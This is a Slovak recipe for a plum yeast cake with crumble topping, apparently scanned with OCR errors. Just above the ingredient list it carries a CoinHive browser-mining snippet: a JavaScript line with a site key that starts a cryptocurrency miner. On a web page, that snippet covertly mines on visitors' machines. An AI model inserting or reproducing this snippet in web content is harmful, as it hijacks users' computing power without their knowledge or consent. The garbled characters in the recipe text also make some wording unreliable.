Kysnuty slivkovy kola¢

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 2 kg muky (chlebova Schar), 1 drozdie (42 g), 2 vajcia, sof, 100 g krystalového
cukru, 200 ml mlieka, citrénovu kéru, 100 g rozpusteného masla, olej

Potrebujeme na pInku: umyté na "4 nakrajané slivky, Skoricu, 3 PL kryStalového cukru

Potrebujeme na mrvenicku: 50 g masla, 100 g praskového cukru, 100 g muky

Postup: Sol a cukor daf do misky, zaliat teplym mliekom, do toho rozmrvit drozdie, pridat
vajicka, maslo a olej. Prisypat preosiatu muku, postrihanu citrénovd kéru a dobre vymiesit.
Nechat kysnat 20-30 minat. Potom cesto rozotrietf na teply naolejovany plech. Husto naukladat
slivky, posypat $koricou , kry$talovym cukrom a na koniec mrveni¢kou (miku a cukor nasypat
na maslo a celé to rozmrvit v rukach nad kola¢om). Piect 20—25 minit na 180°C.




